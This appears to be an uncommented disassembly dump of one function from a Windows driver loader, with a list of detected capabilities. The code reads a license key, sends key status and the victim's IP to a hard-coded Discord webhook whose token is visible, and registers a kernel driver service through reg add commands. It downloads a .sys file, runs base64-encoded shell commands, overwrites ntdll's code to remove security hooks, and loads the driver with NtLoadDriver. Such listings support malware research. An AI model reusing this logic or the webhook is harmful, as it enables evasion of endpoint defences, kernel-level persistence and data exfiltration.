Function at 0x140061ee0
Capabilities:
Allocate or change rwx memory
Delete file
Download url
Enumerate pe sections
Execute command
Execute shellcode via indirect call
Overwrite dll .text section to remove hooks
Persist via windows service
Read file via mapping
Receive data
Resolve function by parsing pe exports
Set console window title
Set registry value
Terminate process

Disassembly:
push rsi
push rdi
mov eax, 0x1448
call fcn.1400c5040
sub rsp, rax
lea rdx, [0x1400d4b60]
lea rcx, [0x1400d4b80]
call fcn.1400617c0
lea rdx, str.c:windows_system32kernel32.dll
lea rcx, str.kernel32.dll
call fcn.1400617c0
lea rdx, [0x1400d4bc8]
lea rcx, [0x1400d4be8]
call fcn.1400617c0
nop
lea rdx, str.C:mpKey.ini
lea rcx, [rsp + 0x723]
call fcn.140053610
mov qword [rsp + 0x508], rax
lea rdx, [rsp + 0x520]
mov rcx, qword [rsp + 0x508]
call fcn.140056620
nop
lea rcx, [rsp + 0x148]
call fcn.140054f10
nop
lea rcx, [0x1403fd2c0]
call fcn.14006f9a0
nop
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x58]
call fcn.140056cf0
mov rcx, rax
call fcn.140056680
mov qword [rsp + 0x510], rax
lea rcx, [rsp + 0x520]
call fcn.14005a750
mov qword [rsp + 0x518], rax
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rsp + 0x518]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0
je 0x140062158
lea rcx, [rsp + 0x520]
call fcn.14005a750
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
mov rdx, rax
lea rcx, [rsp + 0xc40]
call fcn.140054740
nop
lea rcx, [rsp + 0x558]
call fcn.140054f10
nop
lea rdx, [rsp + 0x558]
lea rcx, [rsp + 0xc40]
call fcn.140053ce0
lea rdx, [0x1400d4c08]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xb88]
mov qword [rsp + 0x170], rax
lea rdx, [0x1400d4c0c]
mov rcx, qword [rsp + 0x170]
call fcn.140054ce0
mov qword [rsp + 0x178], rax
mov edx, 6
mov rcx, qword [rsp + 0x178]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x188], rax
lea rdx, [rsp + 0x9cc]
lea rcx, [rsp + 0x59]
call fcn.140056d40
mov rcx, rax
call fcn.1400567e0
mov qword [rsp + 0x180], rax
mov rdx, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x188]
call fcn.140050ac0
lea rdx, [rsp + 0x558]
mov rcx, rax
call fcn.140050a70
nop
lea rcx, [rsp + 0xc40]
call fcn.14005b1a0
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rdx, [rsp + 0x558]
lea rcx, [rsp + 0x148]
call fcn.140056200
lea rcx, [0x1403fd2c0]
call fcn.14006c870
nop
lea rcx, [rsp + 0x558]
call fcn.140055c40
nop
lea rcx, [rsp + 0xc40]
call fcn.140056fe0
nop
jmp 0x140062207
lea rdx, [0x1400d4c10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0x9e8]
mov qword [rsp + 0x190], rax
lea rdx, [0x1400d4c14]
mov rcx, qword [rsp + 0x190]
call fcn.140054ce0
mov qword [rsp + 0x198], rax
mov edx, 6
mov rcx, qword [rsp + 0x198]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x1a8], rax
lea rdx, [rsp + 0x9b2]
lea rcx, [rsp + 0x5a]
call fcn.140056da0
mov rcx, rax
call fcn.1400567c0
mov qword [rsp + 0x1a0], rax
mov rdx, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x1a8]
call fcn.140050ac0
nop
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400506b0
nop
mov edx, 1
lea rcx, [rsp + 0xe60]
call fcn.1400549c0
nop
lea rcx, [rsp + 0x520]
call fcn.14005a750
mov r9d, 0x40
mov r8d, 2
mov rdx, rax
lea rcx, [rsp + 0xe60]
call fcn.14005ee50
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0xe60]
call fcn.140050a70
lea rcx, [rsp + 0xe60]
call fcn.14005b200
nop
lea rax, [rsp + 0xa08]
mov qword [rsp + 0x1b0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [rsp + 0x1b0]
call fcn.140054bf0
mov qword [rsp + 0x1b8], rax
mov rdx, qword [rsp + 0x1b8]
lea rcx, [0x1403fd2c0]
call fcn.140070f90
nop
movzx eax, byte [0x1403fd4d8]
test eax, eax
jne 0x140062509
lea r8, [rsp + 0x148]
lea rdx, str.Status_:_Failed__Use_Key_:
lea rcx, [rsp + 0x898]
call fcn.140051010
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x1c8], rax
lea r8, [0x1400d4c2c]
mov rdx, qword [rsp + 0x1c8]
lea rcx, [rsp + 0x878]
call fcn.140050fc0
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x1d8], rax
lea r8, [0x1403fd420]
mov rdx, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x858]
call fcn.140050f70
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1e8], rax
lea r8, str._Error_Reason_:
mov rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x838]
call fcn.140050fc0
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x1f8], rax
lea r8, [0x1403fd4e0]
mov rdx, qword [rsp + 0x1f8]
lea rcx, [rsp + 0x648]
call fcn.140050f70
nop
lea rcx, [rsp + 0x838]
call fcn.140055c40
nop
lea rcx, [rsp + 0x858]
call fcn.140055c40
nop
lea rcx, [rsp + 0x878]
call fcn.140055c40
nop
lea rcx, [rsp + 0x898]
call fcn.140055c40
nop
lea rdx, [0x1400d4c60]
lea rcx, [rsp + 0x12ba]
call fcn.140053580
mov qword [rsp + 0x200], rax
lea rdx, [rsp + 0x628]
mov rcx, qword [rsp + 0x200]
call fcn.140056560
nop
lea rdx, [rsp + 0x648]
lea rcx, [rsp + 0x628]
call fcn.140060190
nop
lea rcx, [rsp + 0x628]
call fcn.140055c40
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [0x1400d4ce0]
lea rcx, [rsp + 0xd50]
call fcn.140054880
nop
lea rcx, [rsp + 0xd50]
call fcn.14005dc10
movzx eax, al
test eax, eax
je 0x1400624ca
lea rdx, str.Error__
lea rcx, [rsp + 0xd50]
call fcn.140050ac0
lea rdx, [0x1403fd4e0]
mov rcx, rax
call fcn.140050a70
mov qword [rsp + 0x208], rax
lea rdx, [0x1400538b0]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0xd50]
call fcn.14005b200
lea rcx, [0x1400d4cf8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rsp + 0x520]
call fcn.14005a750
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rsp + 0xd50]
call fcn.140057020
lea rcx, [rsp + 0x648]
call fcn.140055c40
nop
jmp 0x1400626c7
movzx eax, byte [0x1403fd4d8]
test eax, eax
je 0x1400626c7
lea r8, [rsp + 0x148]
lea rdx, str.Status_:_Success__Use_Key_:
lea rcx, [rsp + 0x758]
call fcn.140051010
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x218], rax
lea r8, str._IP_:
mov rdx, qword [rsp + 0x218]
lea rcx, [rsp + 0x8b8]
call fcn.140050fc0
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x228], rax
lea r8, [0x1403fd420]
mov rdx, qword [rsp + 0x228]
lea rcx, [rsp + 0x688]
call fcn.140050f70
nop
lea rcx, [rsp + 0x8b8]
call fcn.140055c40
nop
lea rcx, [rsp + 0x758]
call fcn.140055c40
nop
lea rdx, str.https:__discord.com_api_webhooks_1242401377590972498_uat4JCwZXl8_nOlGyUTKlsLcLZVQpKzS8aWGjqiYwI4PX7IgZ4QY3_nn9AjqCMeKdiA_
lea rcx, [rsp + 0x1335]
call fcn.140053580
mov qword [rsp + 0x230], rax
lea rdx, [rsp + 0x668]
mov rcx, qword [rsp + 0x230]
call fcn.140056560
nop
lea rdx, [rsp + 0x688]
lea rcx, [rsp + 0x668]
call fcn.140060190
nop
lea rcx, [rsp + 0x668]
call fcn.140055c40
nop
lea rdx, [0x1400d4dbc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xa28]
mov qword [rsp + 0x238], rax
lea rdx, [0x1400d4c54]
mov rcx, qword [rsp + 0x238]
call fcn.140054ce0
mov qword [rsp + 0x240], rax
mov edx, 2
mov rcx, qword [rsp + 0x240]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x250], rax
lea rdx, [rsp + 0x732]
lea rcx, [rsp + 0x5b]
call fcn.140056e00
mov rcx, rax
call fcn.1400566e0
mov qword [rsp + 0x248], rax
mov rdx, qword [rsp + 0x248]
mov rcx, qword [rsp + 0x250]
call fcn.140050ac0
lea rdx, [rsp + 0x148]
mov rcx, rax
call fcn.140050a70
nop
lea rcx, [rsp + 0x688]
call fcn.140055c40
nop
lea rcx, [rsp + 0xe60]
call fcn.140057020
nop
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0xc8], rax
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0xd0], rax
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0xd8], rax
lea rcx, str.SeLoadDriverPrivilege
call fcn.140058320
movzx eax, al
test eax, eax
jne 0x1400627b5
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov qword [rsp + 0x260], rax
lea rdx, str.Failed_to_enable_SE_LOAD_DRIVER_NAME_privilege.
lea rcx, [rsp + 0xc0c]
call fcn.140053460
mov qword [rsp + 0x258], rax
mov rdx, qword [rsp + 0x258]
mov rcx, qword [rsp + 0x260]
call fcn.140050f10
mov qword [rsp + 0x268], rax
lea rdx, [0x1400538b0]
mov rcx, qword [rsp + 0x268]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rsp + 0xac], 1
lea rcx, [rsp + 0x148]
call fcn.140055c40
nop
lea rcx, [rsp + 0x520]
call fcn.140055c40
mov eax, dword [rsp + 0xac]
jmp 0x140063e04
xor edx, edx
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor edx, edx
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rcx, [rsp + 0xe8]
call fcn.140055050
nop
lea rdx, str.reg_add__HKLMSystemCurrentControlSetServiceswlancxl___v__DisplayName___t_REG_SZ__d__WLAN_Auto_Check___f
lea rcx, [rsp + 0x11d4]
call fcn.140053550
mov qword [rsp + 0x270], rax
lea rdx, [rsp + 0x778]
mov rcx, qword [rsp + 0x270]
call fcn.140056520
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0xe8]
call fcn.14005f840
nop
lea rcx, [rsp + 0x778]
call fcn.140055c40
nop
lea rdx, str.reg_add__HKLMSystemCurrentControlSetServiceswlancxl___v__ImagePath___t_REG_EXPAND_SZ__d____C:WindowsSystem32wlancxl.sys___f
lea rcx, [rsp + 0x13b0]
call fcn.1400535b0
mov qword [rsp + 0x288], rax
lea rdx, [rsp + 0x8d8]
mov rcx, qword [rsp + 0x288]
call fcn.1400565a0
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x298], rax
mov rdx, qword [rsp + 0x298]
lea rcx, [rsp + 0xe8]
call fcn.14005f840
nop
lea rcx, [rsp + 0x8d8]
call fcn.140055c40
nop
lea rdx, str.reg_add__HKLMSystemCurrentControlSetServiceswlancxl___v__Start___t_REG_DWORD__d_3__f
lea rcx, [rsp + 0x1119]
call fcn.1400534f0
mov qword [rsp + 0x2a0], rax
lea rdx, [rsp + 0x7d8]
mov rcx, qword [rsp + 0x2a0]
call fcn.1400564a0
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x2b0]
lea rcx, [rsp + 0xe8]
call fcn.14005f840
nop
lea rcx, [rsp + 0x7d8]
call fcn.140055c40
nop
lea rdx, str.reg_add__HKLMSystemCurrentControlSetServiceswlancxl___v__Type___t_REG_DWORD__d_1__f
lea rcx, [rsp + 0x10c0]
call fcn.1400534c0
mov qword [rsp + 0x2b8], rax
lea rdx, [rsp + 0x7f8]
mov rcx, qword [rsp + 0x2b8]
call fcn.140056460
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x2c8], rax
mov rdx, qword [rsp + 0x2c8]
lea rcx, [rsp + 0xe8]
call fcn.14005f840
nop
lea rcx, [rsp + 0x7f8]
call fcn.140055c40
nop
lea rdx, str.reg_add__HKLMSystemCurrentControlSetServiceswlancxl___v__ErrorControl___t_REG_DWORD__d_0__f
lea rcx, [rsp + 0x1173]
call fcn.140053520
mov qword [rsp + 0x2d0], rax
lea rdx, [rsp + 0x818]
mov rcx, qword [rsp + 0x2d0]
call fcn.1400564e0
mov qword [rsp + 0x2d8], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x2e0], rax
mov rdx, qword [rsp + 0x2e0]
lea rcx, [rsp + 0xe8]
call fcn.14005f840
nop
lea rcx, [rsp + 0x818]
call fcn.140055c40
nop
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x108], rax
mov rcx, qword [rsp + 0x108]
call fcn.140052f10
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x108]
call fcn.14005a7a0
mov qword [rsp + 0x2e8], rax
jmp 0x140062a4e
mov rax, qword [rsp + 0x88]
add rax, 0x20
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x2e8]
cmp qword [rsp + 0x88], rax
je 0x140062a89
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x2f0], rax
mov rcx, qword [rsp + 0x2f0]
call fcn.14005a750
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
jmp 0x140062a3a
lea rcx, [rsp + 0xe8]
call fcn.14005b070
mov rdx, qword [rsp + 0xc8]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rdx, qword [rsp + 0xd0]
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rdx, qword [rsp + 0xd8]
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
nop
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x5c]
call fcn.140056e30
mov rcx, rax
call fcn.1400566a0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
nop
lea rcx, [rsp + 0x5b8]
call fcn.140058600
nop
lea rdx, [rsp + 0x5b8]
lea rcx, [rsp + 0x5d8]
call fcn.140057360
nop
lea rdx, [0x1400d5030]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xa48]
mov qword [rsp + 0x2f8], rax
lea rdx, [0x1400d5034]
mov rcx, qword [rsp + 0x2f8]
call fcn.140054ce0
mov qword [rsp + 0x300], rax
mov edx, 2
mov rcx, qword [rsp + 0x300]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x310], rax
lea rdx, [rsp + 0x742]
lea rcx, [rsp + 0x5d]
call fcn.140056e60
mov rcx, rax
call fcn.1400566e0
mov qword [rsp + 0x308], rax
mov rdx, qword [rsp + 0x308]
mov rcx, qword [rsp + 0x310]
call fcn.140050ac0
mov qword [rsp + 0x318], rax
lea rdx, [0x14005cf20]
mov rcx, qword [rsp + 0x318]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [rsp + 0x5d8]
mov rcx, rax
call fcn.140050a70
nop
lea rdx, [0x1400d5038]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xa68]
mov qword [rsp + 0x320], rax
lea rdx, [0x1400d503c]
mov rcx, qword [rsp + 0x320]
call fcn.140054ce0
mov qword [rsp + 0x328], rax
mov edx, 2
mov rcx, qword [rsp + 0x328]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x338], rax
lea rdx, [rsp + 0x940]
lea rcx, [rsp + 0x5e]
call fcn.140056e90
mov rcx, rax
call fcn.140056740
mov qword [rsp + 0x330], rax
mov rdx, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x338]
call fcn.140050ac0
nop
mov qword [rsp + 0x110], 0
cmp qword [rsp + 0x110], 0
jne 0x140062cf6
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, [0x1400d5040]
lea rcx, [rsp + 0x6a8]
call fcn.140054ce0
nop
lea rcx, [rsp + 0x6a8]
call fcn.14005cdd0
mov eax, eax
mov qword [0x1403fd188], rax
lea rcx, [rsp + 0x6a8]
call fcn.140055c40
nop
mov ecx, dword [0x1403fd188]
call fcn.14005ceb0
mov qword [rsp + 0x110], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x140062c85
call fcn.14005cc10
movzx eax, al
test eax, eax
jne 0x1400635ee
lea rdx, [0x1400d504c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xa88]
mov qword [rsp + 0x340], rax
lea rdx, [0x1400d5050]
mov rcx, qword [rsp + 0x340]
call fcn.140054ce0
mov qword [rsp + 0x348], rax
mov edx, 2
mov rcx, qword [rsp + 0x348]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x358], rax
lea rdx, [rsp + 0x91a]
lea rcx, [rsp + 0x5f]
call fcn.140056ec0
mov rcx, rax
call fcn.140056720
mov qword [rsp + 0x350], rax
mov rdx, qword [rsp + 0x350]
mov rcx, qword [rsp + 0x358]
call fcn.140050ac0
nop
xor edx, edx
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor edx, edx
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
nop
lea rdx, str.c2MgZGVsZXRlIFdsYW5DeEw
lea rcx, [rsp + 0x6c8]
call fcn.140054ce0
nop
lea rdx, [rsp + 0x6c8]
lea rcx, [rsp + 0x7b8]
call fcn.14005acd0
mov qword [rsp + 0x360], rax
mov rcx, qword [rsp + 0x360]
call fcn.14005a750
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x7b8]
call fcn.140055c40
nop
lea rcx, [rsp + 0x6c8]
call fcn.140055c40
nop
lea rcx, [rsp + 0x540]
call fcn.140055050
nop
lea rdx, [rsp + 0xbe8]
lea rcx, [rsp + 0x60]
call fcn.140056ef0
mov rcx, rax
call fcn.140056800
mov qword [rsp + 0x368], rax
lea rdx, [rsp + 0x368]
lea rcx, [rsp + 0x540]
call fcn.14005f810
nop
lea rdx, str.QzpcV2luZG93c1xTeXN0ZW0zMlx3bGFuY3hsLnN5cw
lea rcx, [rsp + 0x6e8]
call fcn.140054ce0
nop
lea rdx, [rsp + 0x6e8]
lea rcx, [rsp + 0x798]
call fcn.14005acd0
mov qword [rsp + 0x370], rax
mov rcx, qword [rsp + 0x370]
call fcn.14005a750
mov qword [rsp + 0x378], rax
xor edx, edx
lea rcx, [rsp + 0x540]
call fcn.140056300
mov rax, qword [rax]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x378]
mov rdx, qword [rsp + 0x380]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rsp + 0x798]
call fcn.140055c40
nop
lea rcx, [rsp + 0x6e8]
call fcn.140055c40
nop
lea rcx, [rsp + 0x540]
call fcn.14005afd0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x5a0]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_26
rep stosb byte [rdi], al
lea rcx, [0x1400d50a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x138], rax
mov r9d, Ordinal_26
lea r8, [rsp + 0x5a0]
mov rdx, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x120]
call sub.KERNEL32.dll_K32GetModuleInformation
mov rax, qword [rsp + 0x5a0]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x1000002
xor edx, edx
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x388]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0], rax
xor eax, eax
mov word [rsp + 0x44], ax
jmp 0x14006305c
movzx eax, word [rsp + 0x44]
inc ax
mov word [rsp + 0x44], ax
mov rax, qword [rsp + 0xc0]
movzx eax, word [rax + 6]
movzx ecx, word [rsp + 0x44]
cmp ecx, eax
jge 0x1400631b4
movzx eax, word [rsp + 0x44]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0xc0]
movzx ecx, word [rcx + 0x14]
mov rdx, qword [rsp + 0xc0]
lea rcx, [rdx + rcx + 0x18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
lea rcx, [0x1400d50d8]
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x1400630c9
inc rax
test dl, dl
jne 0x1400630b6
xor eax, eax
jmp 0x1400630ce
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400631af
mov dword [rsp + 0x70], 0
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x80]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x70]
mov r8d, 0x40
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14006311a
mov byte [rsp + 0x40], 1
jmp 0x14006311f
mov byte [rsp + 0x40], 0
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x390]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x50]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x80]
add rdi, rdx
mov rdx, rdi
mov rdi, rdx
mov rsi, rcx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x80]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x70]
mov r8d, dword [rsp + 0x70]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400631a1
mov byte [rsp + 0x41], 1
jmp 0x1400631a6
mov byte [rsp + 0x41], 0
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x48], al
jmp 0x14006304f
mov dword [rsp + 0x4c], 0
jmp 0x1400631c8
mov eax, dword [rsp + 0x4c]
inc eax
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 2
jge 0x1400633e7
lea rdx, [rsp + 0x708]
lea rcx, [rsp + 0x61]
call fcn.140056930
mov rcx, rax
call fcn.140056840
mov qword [rsp + 0x398], rax
lea rdx, [rsp + 0x92c]
lea rcx, [rsp + 0x62]
call fcn.140056900
mov rcx, rax
call fcn.1400566c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x3a0], rax
mov rdx, qword [rsp + 0x398]
mov rcx, qword [rsp + 0x3a0]
call fcn.14005eb60
mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x118], 0
jne 0x140063279
lea rdx, str.Failed_to_get_address_of_NtLoadDriver.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140050ac0
mov qword [rsp + 0x3a8], rax
lea rdx, [0x1400538b0]
mov rcx, qword [rsp + 0x3a8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rdx, [rsp + 0x1242]
lea rcx, [rsp + 0x63]
call fcn.140056960
mov rcx, rax
call fcn.140056820
mov rdx, rax
lea rcx, [rsp + 0x580]
call sub.ntdll.dll_RtlInitUnicodeString
nop
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x3b0], rax
lea rcx, [rsp + 0x580]
call qword [rsp + 0x3b0]
mov dword [rsp + 0xb0], eax
cmp dword [rsp + 0xb0], 0
jne 0x1400632de
mov dword [rsp + 0x78], 1
jmp 0x1400632e6
mov dword [rsp + 0x78], 0
call fcn.14005cc10
movzx eax, al
test eax, eax
je 0x1400633d6
mov rdx, qword [rsp + 0xc8]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rdx, qword [rsp + 0xd0]
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rdx, qword [rsp + 0xd8]
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rdx, [0x1400d5108]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050ac0
nop
lea rax, [rsp + 0xaa8]
mov qword [rsp + 0x3b8], rax
lea rdx, [0x1400d510c]
mov rcx, qword [rsp + 0x3b8]
call fcn.140054ce0
mov qword [rsp + 0x3c0], rax
mov edx, 2
mov rcx, qword [rsp + 0x3c0]
call fcn.14005b260
nop
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x3d0], rax
lea rdx, [rsp + 0x8f8]
lea rcx, [rsp + 0x64]
call fcn.140056990
